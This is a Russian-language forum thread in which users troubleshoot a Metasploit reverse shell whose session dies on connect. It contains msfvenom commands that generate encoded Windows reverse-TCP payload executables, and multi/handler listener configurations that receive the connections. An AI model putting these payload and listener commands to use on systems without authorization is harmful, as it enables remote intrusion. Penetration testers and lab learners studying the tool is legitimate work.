Проблема Meterpreter session 8 closed. Reason: Died

[edward876]

Доброго время суток. Нуждаюсь в помощи людей который знакомы с metasploit.Проблема такая, я генерирую пейлоад (
msfvenom -a x64 --platform windows -p windows/x64/shell/reverse_tcp LHOST=172.16.104.130 LPORT=443 -b "\x00" -e x64/shikata_ga_nai -f exe -o /tmp/1.exe

), закидаю файл на машину, запускаю файл, и мне прилетает сессия. Но если я закрою метасплоит намерено или случайно, когда я запускаю все так же у меня сессия конектиться и моментально дохнет. На машине какую атакую процесс запускается на пару секунд и умирает. АВ нету, машина пингуется. Помогите найти причину.

 

[bycat]

закинь файл не tmp

 

[edward876]

закинь файл не tmp

так это же просто путь для сохранения файла, в чем разница?

закинь файл не tmp

это ведь просто путь для сохранения файла

 

[bycat]

стань рутом в системе

 

[kot-gor]

добрый день. скиньте скрин как вы конфигурировали листенер.

 

[edward876]

добрый день. скиньте скрин как вы конфигурировали листенер.

скрином не могу, вот как я настраивал листенер


use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost ip.server
set lport 443
run

 

[kravl]

скрином не могу, вот как я настраивал листенер


use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost ip.server
set lport 443
run

Пробовал запускать на другой машине ?
Попробуй создать пейлоад таким макаром и отпишись по итогам.
msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f exe > ~/Payload.exe

 

[kot-gor]

добавьте в конфигурацию следующую строчку

set ExitOnSession false

и место run используйте exploit -j

так же попробуйте SessionCommunicationTimeout значения равное нулю.


вообще более подробно можете прочитать здесь:

Ссылка скрыта от гостей

 

[sever0ever]

скрином не могу, вот как я настраивал листенер


use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost ip.server
set lport 443
run

Для, начала приведи к общему значению пэйлоад в листенере(windows/x64/meterpreter/reverse_tcp) и при создании полезной нагрузки( windows/x64/shell/reverse_tcp ). Затем добавь в конфигурацию листенера set ExitOnSession false, exploit -j вместо run(товарищ kot-gor выше об этом написал). И, наконец, поэксперементируй с созданием пэйлоада.